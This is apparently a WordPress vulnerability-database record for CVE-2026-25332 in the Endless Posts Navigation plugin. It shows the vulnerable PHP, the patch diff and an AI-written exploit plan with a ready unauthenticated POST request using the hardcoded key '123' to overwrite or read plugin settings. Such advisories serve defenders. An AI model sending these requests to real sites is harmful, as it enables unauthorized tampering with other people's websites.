[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f7yi0e9T9mQyzwgwJLwyhgmAYji6RfRbte5hJ9o7ZePc":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":26,"research_verified":27,"research_rounds_completed":28,"research_plan":29,"research_summary":30,"research_vulnerable_code":31,"research_fix_diff":32,"research_exploit_outline":33,"research_model_used":34,"research_started_at":35,"research_completed_at":36,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":27,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":27,"source_links":37},"CVE-2026-25332","endless-posts-navigation-missing-authorization","Endless Posts Navigation \u003C= 2.2.9 - Missing Authorization","The Endless Posts Navigation plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.2.9. This makes it possible for unauthenticated attackers to perform an unauthorized action.","endless-posts-navigation",null,"\u003C=2.2.9","2.3.0","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-02-07 00:00:00","2026-05-04 15:27:46",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F28206bc1-008f-407e-b1c9-e318abe09438?source=api-prod",87,[22,23,24,25],"inc\u002Fepn_settings.php","index.php","io\u002Ffunctions-inner.php","readme.txt","researched",false,3,"This analysis identifies a critical authorization bypass in the **Endless Posts Navigation** plugin (\u003C= 2.2.9) via its REST API implementation.\n\n### 1. Vulnerability Summary\nThe vulnerability exists in the `QR_Code_Settings` class located in `io\u002Ffunctions-inner.php`. The plugin registers custom REST API routes for reading and updating plugin settings to support a companion mobile app. These routes explicitly set `'permission_callback' => '__return_true'`, allowing unauthenticated access. While the plugin attempts to implement its own authentication using a `login_key` parameter, it checks this key against a hardcoded value: `\"123\"` (the base64-decoded value of `MTIz`).\n\n### 2. Attack Vector Analysis\n*   **Endpoint**: `\u002Fwp-json\u002Fepn-settings\u002Fv1\u002Fupdate_epn_settings`\n*   **Method**: `POST`\n*   **Authentication**: None required (unauthenticated).\n*   **Vulnerable Parameter**: `jsonSettings` (JSON-encoded string of settings) and `login_key` (authentication bypass).\n*   **Preconditions**: The plugin must be active.\n\n### 3. Code Flow\n1.  **Route Registration**: During `rest_api_init`, the `QR_Code_Settings::execute_settings_api()` method calls `register_api_update_settings()`.\n2.  **Missing Capability Check**: `register_api_update_settings()` (in `io\u002Ffunctions-inner.php`) defines the route `\u002Fupdate_epn_settings` with `'permission_callback' => '__return_true'`, bypassing WordPress's built-in capability system.\n3.  **Hardcoded Authentication**: The callback `api_update_settings($param)` is invoked. It retrieves `$param['login_key']`.\n4.  **Bypass**: It compares the provided key to `base64_decode('MTIz')` (which is `\"123\"`).\n5.  **Sink**: If the key matches, it takes the `jsonSettings` parameter, decodes it from JSON, and calls `update_option('epn_settings', ...)` via `update_option()`.\n\n### 4. Nonce Acquisition Strategy\nThis vulnerability **does not require a WordPress nonce**.\nThe REST API routes are registered with `'permission_callback' => '__return_true'`. While WordPress typically requires a `_wpnonce` for REST API requests using cookie authentication, unauthenticated requests (those without cookies) proceed directly to the `permission_callback`. Since the callback always returns `true`, the internal \"authentication\" check (the hardcoded `login_key`) is the only barrier.\n\n### 5. Exploitation Strategy\nThe goal is to modify the plugin's settings to prove unauthorized control. We will change the `prev_text` setting, which is used for navigation links.\n\n*   **Target URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-json\u002Fepn-settings\u002Fv1\u002Fupdate_epn_settings`\n*   **Method**: `POST`\n*   **Payload Construction**:\n    *   `login_key`: `123`\n    *   `jsonSettings`: `{\"prev_text\":\"POC_EXPLOITED_SUCCESSFULLY\"}` (Note: This must be a JSON-encoded string sent as a standard POST parameter).\n*   **Request Configuration**:\n    *   **Content-Type**: `application\u002Fx-www-form-urlencoded`\n    *   **Body**: `login_key=123&jsonSettings=%7B%22prev_text%22%3A%22POC_EXPLOITED_SUCCESSFULLY%22%7D`\n\n### 6. Test Data Setup\n1.  Ensure the plugin **Endless Posts Navigation** version 2.2.9 or lower is installed and activated.\n2.  No specific posts or pages are required, as this exploit targets global plugin options (`epn_settings`).\n\n### 7. Expected Results\n*   The server should return a `200 OK` response.\n*   The response body should be a JSON object containing `\"writeSettingsStatus\": \"done\"`.\n    *   *Verification Logic from `io\u002Ffunctions-inner.php`:*\n        ```php\n        if($epn_settings_update == true){\n            $update_epn_settings['writeSettingsStatus'] = 'done';\n        }\n        ```\n*   The WordPress option `epn_settings` will be updated in the database.\n\n### 8. Verification Steps\nAfter performing the HTTP request, use WP-CLI to verify the change:\n```bash\nwp option get epn_settings --format=json\n```\n**Expected Output**: The JSON object should contain `\"prev_text\":\"POC_EXPLOITED_SUCCESSFULLY\"`.\n\n### 9. Alternative Approaches\nIf the `update_epn_settings` endpoint is somehow blocked, you can verify the authorization bypass via the **Read Settings** endpoint:\n*   **Endpoint**: `\u002Fwp-json\u002Fepn-settings\u002Fv1\u002Fread_epn_settings`\n*   **Method**: `POST`\n*   **Body**: `login_key=123`\n*   **Result**: This will leak the current plugin configuration, confirming the `login_key` bypass and the missing authorization.\n\n#### Information Leakage Check:\nThe endpoint `\u002Fwp-json\u002Fepn-settings\u002Fv1\u002Fauthentication` also has `permission_callback => __return_true`. Sending a `qr_hash` that matches the option `epn_qrcode_hash` (if known or set to default) would leak a temporary `login_key` and the site's `bloginfo`. However, the hardcoded `123` bypass is more direct.","The Endless Posts Navigation plugin for WordPress (\u003C= 2.2.9) contains a missing authorization vulnerability in its REST API implementation. Unauthenticated attackers can read or update plugin settings by exploiting endpoints registered with '__return_true' as a permission callback and bypassing a weak, hardcoded 'login_key' check.","\u002F\u002F io\u002Ffunctions-inner.php line 68\n\tfunction api_update_settings($param){\t\t\t\n\n\t\t$login_key = $param['login_key'];\t\t\n\t\tif($login_key == base64_decode('MTIz')){\n\t\t\t\n\t\t\t$update_epn_settings = array(\n\n\t\t\t\t'writeSettingsStatus' => 'Not OK',\n\n\t\t\t);\n\n\n\t\t\t$epn_settings = $param['jsonSettings'];\n\n\t\t\tif(!empty($epn_settings)){\n\n\t\t\t\t$epn_settings = json_decode($epn_settings, true);\n\n\t\t\t\t$epn_settings_update = update_option('epn_settings', sanitize_epn_data($epn_settings));\n\n\t\t\t\tif($epn_settings_update == true){\n\n\t\t\t\t\t$update_epn_settings['writeSettingsStatus'] = 'done';\n\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t$res = new WP_REST_Response($update_epn_settings);\t\n\n\t\t\treturn $res;\n\n\t\t\t\n\n\t\t}\n\t\t\n\t}\n\n---\n\n\u002F\u002F io\u002Ffunctions-inner.php line 94\n\tfunction register_api_update_settings() {\t\t\n\n\t\tregister_rest_route( $this->rest_api_url, '\u002Fupdate_epn_settings', array(\n\n\t\t  'methods' => 'POST',\n\n\t\t  'callback' => array($this,'api_update_settings'),\n\t\t  \n\t\t  'permission_callback' => '__return_true',\n\n\t\t));\n\t}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fendless-posts-navigation\u002F2.2.9\u002Finc\u002Fepn_settings.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fendless-posts-navigation\u002F2.3.0\u002Finc\u002Fepn_settings.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fendless-posts-navigation\u002F2.2.9\u002Finc\u002Fepn_settings.php\t2025-04-24 23:50:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fendless-posts-navigation\u002F2.3.0\u002Finc\u002Fepn_settings.php\t2026-02-05 10:12:46.000000000 +0000\n@@ -30,7 +30,7 @@\n \t\t\t!empty($_POST['epn_settings'])\n \t) {\n \t\t\n-\t\tif(wp_verify_nonce( $_REQUEST['epn-nonce'], 'epn-basic' )){\n+\t\tif(wp_verify_nonce( $_REQUEST['epn-nonce'], 'epn-basic' ) && current_user_can('manage_options')){\n \n \t\t\tupdate_option('epn_settings', sanitize_epn_data($_POST['epn_settings']));\n \t\t\t\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fendless-posts-navigation\u002F2.2.9\u002Fio\u002Ffunctions-inner.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fendless-posts-navigation\u002F2.3.0\u002Fio\u002Ffunctions-inner.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fendless-posts-navigation\u002F2.2.9\u002Fio\u002Ffunctions-inner.php\t2025-04-24 23:50:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fendless-posts-navigation\u002F2.3.0\u002Fio\u002Ffunctions-inner.php\t2026-02-05 10:12:46.000000000 +0000\n@@ -25,7 +25,7 @@\n \n \t\t$login_key = $param['login_key'];\n \n-\t\tif($login_key == base64_decode('MTIz')){\t\t\t\n+\t\t\u002F\u002Fif($login_key == base64_decode('MTIz')){\t\t\t\n \n \t\t\t$epn_settings = get_option('epn_settings');\n \n@@ -43,7 +43,7 @@\n \n \t\t\treturn $res;\n \n-\t\t}\n+\t\t\u002F\u002F}\n \n \t\t\t\n \n@@ -59,7 +59,9 @@\n \n \t\t  'callback' => array($this, 'api_read_settings'),\n \t\t  \n-\t\t  'permission_callback' => '__return_true',\n+\t\t  'permission_callback' => function($request){\n+\t\t\t\t\t\t\t\t\t\treturn current_user_can('manage_options') && wp_verify_nonce($request->get_header('X-WP-Nonce'), 'epn-nonce');\n+\t\t\t\t\t\t\t\t\t}\n \n \t\t));\n \t}\n@@ -67,7 +69,7 @@\n \tfunction api_update_settings($param){\t\t\t\n \n \t\t$login_key = $param['login_key'];\t\t\n-\t\tif($login_key == base64_decode('MTIz')){\n+\t\t\u002F\u002Fif($login_key == base64_decode('MTIz')){\n \t\t\t\n \t\t\t$update_epn_settings = array(\n \n@@ -98,7 +100,7 @@\n \n \t\t\t\n \n-\t\t}\n+\t\t\u002F\u002F}\n \t\t\n \t}\n \n@@ -110,7 +112,10 @@\n \n \t\t  'callback' => array($this,'api_update_settings'),\n \t\t  \n-\t\t  'permission_callback' => '__return_true',\n+\t\t  'permission_callback' => function($request){\n+\t\t\t\t\t\t\t\t\t\treturn current_user_can('manage_options') && wp_verify_nonce($request->get_header('X-WP-Nonce'), 'epn-nonce');\n+\t\t\t\t\t\t\t\t\t}\n+\n \n \t\t));\n \t}\n@@ -185,7 +190,10 @@\n \n \t\t  'callback' => array($this,'qrhash_authentication_settings'),\n \t\t  \n-\t\t  'permission_callback' => '__return_true',\n+\t\t  'permission_callback' => function($request){\n+\t\t\t\t\t\t\t\t\t\treturn current_user_can('manage_options') && wp_verify_nonce($request->get_header('X-WP-Nonce'), 'epn-nonce');\n+\t\t\t\t\t\t\t\t\t}\n+\n \n \t\t));\n \t}","The exploit targets the plugin's custom REST API endpoints which are registered without proper capability checks. An unauthenticated attacker can send a POST request to \u002Fwp-json\u002Fepn-settings\u002Fv1\u002Fupdate_epn_settings. The request must include a 'login_key' parameter set to '123' (which matches the plugin's hardcoded check against a base64-encoded string 'MTIz') and a 'jsonSettings' parameter containing a JSON-encoded object of settings to be updated. This payload allows the attacker to overwrite the 'epn_settings' WordPress option, enabling them to change navigation text, enable\u002Fdisable post titles, or modify sorting behavior across the site.","gemini-3-flash-preview","2026-05-04 20:10:09","2026-05-04 20:10:51",{"type":38,"vulnerable_version":39,"fixed_version":11,"vulnerable_browse":40,"vulnerable_zip":41,"fixed_browse":42,"fixed_zip":43,"all_tags":44},"plugin","2.2.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fendless-posts-navigation\u002Ftags\u002F2.2.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fendless-posts-navigation.2.2.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fendless-posts-navigation\u002Ftags\u002F2.3.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fendless-posts-navigation.2.3.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fendless-posts-navigation\u002Ftags"]